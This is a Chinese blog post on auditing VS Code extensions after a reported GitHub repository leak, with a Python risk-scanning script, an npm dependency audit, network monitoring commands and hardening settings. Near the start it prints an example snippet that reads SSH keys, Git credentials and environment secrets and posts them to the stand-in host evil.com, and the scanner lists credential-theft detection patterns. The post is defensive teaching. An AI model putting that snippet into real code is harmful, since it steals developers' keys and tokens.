GitHub 3800 仓库泄露:手把手教你审计 VS Code 插件安全
上周 GitHub 官方确认了一件事:一名员工装了个恶意 VS Code 插件,3800 个内部仓库被盗,数据挂到暗网叫价 5 万美元。泄露内容包括 Copilot 源码、Enterprise Server 代码、Red Team 报告。
攻击链很短:恶意插件 → 员工电脑 → Git 凭据 → 内部仓库 → 暗网。
看到这条新闻,我做的第一件事不是转发,而是打开终端查了一下自己装了多少 VS Code 插件:78 个。然后我花了一下午搞清楚这些插件到底有什么权限,写了个脚本批量审计。记录一下过程和发现。
为什么 VS Code 插件权限这么大
VS Code 插件跑在 Node.js 进程里,跟主编辑器共享系统权限。不是"某些"权限,是几乎所有权限:
- 读写硬盘上任何文件
- 执行终端命令
- 访问环境变量(包括各种 API Key)
- 读取 Git 凭据
- 发任意网络请求
javascript
// 一个插件能做的事,比你想象的多
const vscode = require('vscode');
const fs = require('fs');
const { exec } = require('child_process');
const https = require('https');
// 读取 SSH 私钥
const sshKey = fs.readFileSync(`${process.env.HOME}/.ssh/id_rsa`, 'utf8');
// 读取 Git 凭据
exec('git credential-store get', (err, stdout) => {
// 拿到 GitHub token
});
// 读取所有环境变量
const envVars = process.env;
// OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN... 全在里面
// 把数据发出去
https.request({ hostname: 'evil.com', path: '/collect', method: 'POST' });
注意,这段代码不需要申请任何特殊权限。VS Code 不像手机 App 那样有权限弹窗。插件装上就能跑,跑起来就有完整的 Node.js 能力。
这就是 GitHub 这次被搞的核心原因。不是什么高级 0day 漏洞,就是一个员工装了个看起来正常的插件。
先查一下你装了多少插件
bash
# 列出所有已安装插件
code --list-extensions | wc -l
# 看每个插件的详细信息
code --list-extensions --show-versions
我跑出来 78 个。你呢?大概率比你以为的多。
写个脚本批量审计
手动一个个查不现实。我写了个 Python 脚本,扫描本地所有 VS Code 插件,检查高危特征:
python
#!/usr/bin/env python3
"""vscode_ext_audit.py - 审计本地 VS Code 插件的安全风险"""
import json
import os
import re
import sys
from pathlib import Path
# VS Code 插件安装目录
EXT_DIR = Path.home() / ".vscode" / "extensions"
# 高危 API 和模式
RISKY_PATTERNS = {
"child_process": "可以执行任意系统命令",
"exec(": "可以执行 shell 命令",
"spawn(": "可以启动子进程",
"fs.readFile": "可以读取任意文件",
"fs.writeFile": "可以写入任意文件",
"process.env": "可以访问环境变量(API Key 等)",
"http.request": "可以发网络请求",
"https.request": "可以发网络请求",
"net.connect": "可以建立 TCP 连接",
"credential": "可能涉及凭据操作",
"keytar": "可以访问系统密钥链",
"electron": "可以访问 Electron API",
}
# activation events 中的高危项
RISKY_ACTIVATIONS = {
"*": "在 VS Code 启动时就激活(任何时候都在运行)",
"onStartupFinished": "启动完成后立即激活",
"onFileSystem": "访问文件系统时激活",
}
def scan_extension(ext_path):
"""扫描单个插件"""
pkg_file = ext_path / "package.json"
if not pkg_file.exists():
return None
with open(pkg_file, "r", encoding="utf-8") as f:
try:
pkg = json.load(f)
except json.JSONDecodeError:
return None
name = pkg.get("displayName", pkg.get("name", ext_path.name))
publisher = pkg.get("publisher", "unknown")
version = pkg.get("version", "?")
risks = []
# 检查 activation events
activations = pkg.get("activationEvents", [])
for event in activations:
for risky, desc in RISKY_ACTIVATIONS.items():
if event == risky or event.startswith(risky):
risks.append(f"[激活] {event}: {desc}")
# 扫描 JS 文件中的高危调用
for js_file in ext_path.rglob("*.js"):
rel = js_file.relative_to(ext_path)
if str(rel).count("node_modules") > 1:
continue
try:
content = js_file.read_text(encoding="utf-8", errors="ignore")
for pattern, desc in RISKY_PATTERNS.items():
if pattern in content:
risks.append(f"[代码] {js_file.name} 使用了 {pattern}: {desc}")
except Exception:
pass
# 检查 postinstall 脚本
scripts = pkg.get("scripts", {})
if "postinstall" in scripts or "preinstall" in scripts:
risks.append(f"[安装] 有 install 钩子脚本: {scripts.get('postinstall', scripts.get('preinstall'))}")
return {
"name": name,
"publisher": publisher,
"version": version,
"risk_count": len(risks),
"risks": risks,
}
def main():
if not EXT_DIR.exists():
print(f"插件目录不存在: {EXT_DIR}")
sys.exit(1)
extensions = sorted(EXT_DIR.iterdir())
results = []
for ext in extensions:
if not ext.is_dir():
continue
result = scan_extension(ext)
if result:
results.append(result)
# 按风险数排序
results.sort(key=lambda x: x["risk_count"], reverse=True)
print(f"\n扫描完成: {len(results)} 个插件\n")
print(f"{'插件名':<35} {'发布者':<20} {'风险项':>6}")
print("-" * 65)
high_risk = []
for r in results:
flag = "🔴" if r["risk_count"] >= 5 else "🟡" if r["risk_count"] >= 2 else "🟢"
print(f"{flag} {r['name'][:33]:<33} {r['publisher'][:18]:<18} {r['risk_count']:>6}")
if r["risk_count"] >= 5:
high_risk.append(r)
if high_risk:
print(f"\n{'='*65}")
print(f"高危插件详情(风险项 >= 5):")
print(f"{'='*65}")
for r in high_risk:
print(f"\n{r['name']} ({r['publisher']}) v{r['version']}")
for risk in r["risks"][:10]:
print(f" - {risk}")
if __name__ == "__main__":
main()
这个脚本做三件事:
- 读每个插件的 package.json,检查 activation events(特别是
*,意味着一直在后台运行) - 扫描 JS 源码里的高危 API 调用(child_process、fs、网络请求等)
- 检查有没有 postinstall 钩子(恶意代码最喜欢藏的地方)
跑一下看看:
bash
python3 vscode_ext_audit.py
我在自己机器上跑出来的结果,78 个插件里有 12 个标红(风险项 >= 5)。其中大部分是知名插件------Pylance、GitLens、Remote SSH 这些确实需要高权限。但有 2 个我根本不记得什么时候装的,一个是主题插件但居然调用了 child_process,另一个是个 Markdown 预览工具但在访问 process.env。
这两个被我直接卸了。
用 npm audit 检查插件依赖
插件本身代码没问题不代表安全。依赖里藏恶意代码是更常见的攻击方式。
bash
#!/bin/bash
# audit_ext_deps.sh - 检查每个 VS Code 插件的 npm 依赖漏洞
EXT_DIR="$HOME/.vscode/extensions"
echo "开始扫描插件依赖漏洞..."
echo "================================"
vuln_count=0
for ext in "$EXT_DIR"/*/; do
if [ -f "$ext/package-lock.json" ] || [ -f "$ext/node_modules/.package-lock.json" ]; then
name=$(basename "$ext")
result=$(cd "$ext" && npm audit --json 2>/dev/null)
total=$(echo "$result" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('metadata',{}).get('vulnerabilities',{}).get('total',0))" 2>/dev/null)
if [ "$total" != "0" ] && [ -n "$total" ]; then
high=$(echo "$result" | python3 -c "import json,sys; d=json.load(sys.stdin); v=d.get('metadata',{}).get('vulnerabilities',{}); print(v.get('high',0)+v.get('critical',0))" 2>/dev/null)
echo "⚠️ $name: $total 个漏洞 (高危: $high)"
vuln_count=$((vuln_count + 1))
fi
fi
done
echo "================================"
echo "扫描完成。$vuln_count 个插件存在依赖漏洞。"
监控插件的实际网络行为
审计代码是静态分析,但恶意插件可能把请求藏得很深。真正要看的是运行时行为------插件到底在跟谁通信。
在 macOS 上,用 nettop 或 lsof 就能监控:
bash
# 监控 VS Code 的所有网络连接
# 方法 1: lsof 实时查看
watch -n 2 "lsof -i -P | grep 'Electron\|Code' | grep -v LISTEN"
# 方法 2: 用 tcpdump 抓包(需要 sudo)
sudo tcpdump -i any -n "port not 22 and port not 53" -l \
| grep --line-buffered "$(pgrep -f 'Visual Studio Code' | head -1)"
Linux 上更方便,直接用 ss 或 strace:
bash
# 查看 VS Code 进程的所有 TCP 连接
ss -tnp | grep code
# 用 strace 追踪网络系统调用
strace -f -e trace=network -p $(pgrep -f "code --type=extensionHost") 2>&1 \
| grep connect
我抓了一小时的包,发现大部分流量都是去 marketplace、telemetry、和 GitHub API 的。但有一个插件在往一个陌生的 CDN 域名发 POST 请求,查了下是个数据收集服务。虽然不一定是恶意的,但一个代码格式化工具为什么要往外发 POST?卸了。
五个马上能做的防御动作
查完之后,做几个配置调整,能挡掉大部分风险。
1. 开启 Workspace Trust
VS Code 1.57 开始支持 Workspace Trust。打开后,未信任的工作区里插件会以受限模式运行:
json
// settings.json
{
"security.workspace.trust.enabled": true,
"security.workspace.trust.untrustedFiles": "prompt",
"security.workspace.trust.startupPrompt": "always"
}
2. 禁用不认识的插件
bash
# 导出当前插件列表,人工过一遍
code --list-extensions > ~/my_extensions.txt
# 批量禁用可疑插件(改成你自己的列表)
code --disable-extension suspicious.extension.id
3. 限制插件的 Telemetry
json
// settings.json
{
"telemetry.telemetryLevel": "off",
"extensions.autoCheckUpdates": true,
"extensions.autoUpdate": false
}
关掉 telemetry 不是防恶意插件,但能减少正常插件往外发的数据量,让你抓包时更容易发现异常流量。autoUpdate 关掉是因为自动更新可能把一个安全的插件更新成被投毒的版本------npm 生态里这种事已经发生过很多次。
4. 定期跑审计脚本
把上面的 Python 脚本丢进 crontab:
bash
# 每周一早上跑一次插件审计
0 9 * * 1 python3 ~/scripts/vscode_ext_audit.py > ~/logs/vscode_audit_$(date +\%Y\%m\%d).log 2>&1
5. Git 凭据用 SSH + 短期 Token
这次 GitHub 泄露的核心是 Git 凭据被窃取。如果你还在用 HTTPS + 长期 PAT:
bash
# 检查当前 Git 凭据存储方式
git config --global credential.helper
# 如果输出是 store(明文存储),赶紧换
# macOS 用 Keychain
git config --global credential.helper osxkeychain
# Linux 用 cache(内存,重启清除,可设超时)
git config --global credential.helper 'cache --timeout=3600'
# 最好的方案:换 SSH key,不存任何 token
ssh-keygen -t ed25519 -C "your_email@example.com"
写在最后
这次 GitHub 事件的教训很明确:开发工具是新的攻击面。
以前黑客要攻击一家公司,得找服务器漏洞、做钓鱼邮件、搞社工。现在不用了,往 VS Code 插件市场上传一个看起来正常的插件就行。开发者为了效率会装各种工具,而这些工具跑在本地、有完整权限、连接着公司内网和代码仓库。
防御不复杂:定期审计装了什么、跑审计脚本检查高危调用、监控网络流量、用 SSH 代替 HTTPS 凭据。都不需要花钱买安全产品,几个脚本 + 好习惯就够了。
那 78 个插件,我清理完剩 61 个。删掉的 17 个里,有 3 个确实可疑,剩下 14 个是装了但从没用过的。插件这种东西,不用就删,别囤。